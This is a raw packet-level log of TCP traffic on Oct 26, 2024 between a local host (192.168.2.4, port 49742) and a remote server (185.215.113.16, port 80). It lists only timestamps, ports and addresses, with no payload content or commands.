Oct 26, 2024 05:54:34.903327942 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:34.903350115 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:34.903383017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:34.903419971 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:34.903429031 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:34.903460026 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:34.903491020 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:34.903503895 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:34.903914928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:34.903963089 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:34.903965950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:34.904000044 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:34.904032946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:34.904043913 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:34.943753004 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:34.943830013 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:34.944053888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:34.944093943 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:34.944149971 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:34.983771086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:34.983869076 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:34.983896971 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:34.983922958 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.024240971 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.024277925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.024311066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.024312019 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.024359941 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.063872099 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.063909054 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.063985109 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.064013958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.064048052 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.064080000 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.064115047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.064126015 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.064162016 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.064372063 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.064404964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.064429045 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.064436913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.064492941 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.064502001 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.064553022 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.064588070 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.064600945 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.064624071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.064670086 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.064866066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.064898968 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.064930916 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.064939022 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.064964056 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.064996958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.065006971 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.105146885 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.105181932 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.105212927 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.105216980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.105267048 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.145194054 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.145421028 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.145451069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.145478010 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.145483017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.145523071 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.188847065 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.188882113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.188914061 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.188935995 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.226532936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.226607084 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.226632118 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.226640940 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.226686001 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.226686001 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.226736069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.226771116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.226782084 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.226804972 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.226838112 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.226851940 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.226871014 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.226911068 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.226922035 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.226957083 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.226998091 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.227025032 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.227075100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.227108002 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.227113008 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.227140903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.227174044 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.227175951 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.266191959 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.266252995 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.266257048 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.266283035 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.266330004 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.306446075 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.306476116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.306513071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.306530952 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.306546926 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.306587934 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.346818924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.346849918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.346869946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.346887112 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.346946001 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.346966028 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.386609077 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.386630058 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.386643887 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.386658907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.386673927 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.386697054 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.386718988 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.386723042 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.386734009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.386759043 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.386760950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.386775970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.386806011 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.387108088 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.387151003 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.387156010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.387168884 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.387207031 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.387320042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.387367964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.387386084 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.387407064 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.387423038 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.387464046 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.387734890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.387748957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.387764931 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.387789965 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.427474976 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.427503109 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.427536964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.427539110 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.427561045 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.427577972 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.467776060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.467792988 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.467808008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.467823982 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.467849970 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.507890940 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.507994890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.508023024 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.508048058 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.547795057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.547831059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.547864914 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.547880888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.547883987 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.547895908 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.547911882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.547923088 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.547941923 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.548041105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.548065901 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.548079014 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.548080921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.548114061 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.548137903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.548378944 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.548423052 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.548438072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.548459053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.548501015 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.548536062 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.548552036 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.548566103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.548590899 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.548964977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.549009085 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.549027920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.549041033 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.549072027 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.589097977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.589183092 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.589237928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.589363098 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.628978968 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.629045963 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.629129887 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.629143953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.629158974 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.629203081 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.673089981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.673166990 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.673202038 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.673207045 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.673275948 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.709332943 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.709361076 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.709383965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.709398985 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.709513903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.709541082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.709556103 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.709566116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.709594965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.709661007 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.709734917 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.709757090 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.709770918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.709784985 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.709791899 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.709800959 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.709815979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.709830999 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.709831953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.709871054 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.710383892 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.710468054 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.710535049 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.750300884 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.750317097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.750332117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.750366926 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.790366888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.790415049 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.790436029 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.790447950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.790481091 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.790507078 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.830487013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.830540895 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.830663919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.830677986 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.830691099 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.830754995 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.870208025 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.870223045 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.870244980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.870269060 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.870275021 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.870299101 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.870300055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.870336056 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.870368004 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.870414972 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.870430946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.870457888 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.870629072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.870651960 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.870666027 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.870673895 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.870711088 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.870734930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.870749950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.870788097 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.871126890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.871141911 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.871206999 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.871221066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.871236086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.871270895 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.871279001 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.871303082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.871341944 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.911385059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.911417007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.911449909 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.911480904 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.911499977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.911549091 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.951489925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.951544046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.951571941 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.951596975 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.991997957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.992033005 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.992050886 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:35.992064953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:35.992171049 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.031846046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.031893969 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.031929970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.031944036 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.031959057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.031992912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.032008886 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.032027006 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.032072067 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.032088995 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.032139063 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.032172918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.032181978 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.032248020 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.032279968 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.032291889 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.032314062 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.032346964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.032357931 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.032550097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.032601118 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.032603025 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.032634020 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.032668114 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.032685995 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.032723904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.032779932 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.073590040 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.073717117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.073748112 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.073776007 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.073780060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.073824883 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.112735987 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.112771034 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.112803936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.112828016 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.155437946 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.155690908 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.155725002 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.155757904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.155769110 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.193205118 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.193234921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.193284035 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.193288088 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.193319082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.193351984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.193367004 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.193402052 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.193434000 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.193448067 CEST	49742	80	192.168.2.4	185.215.113.16
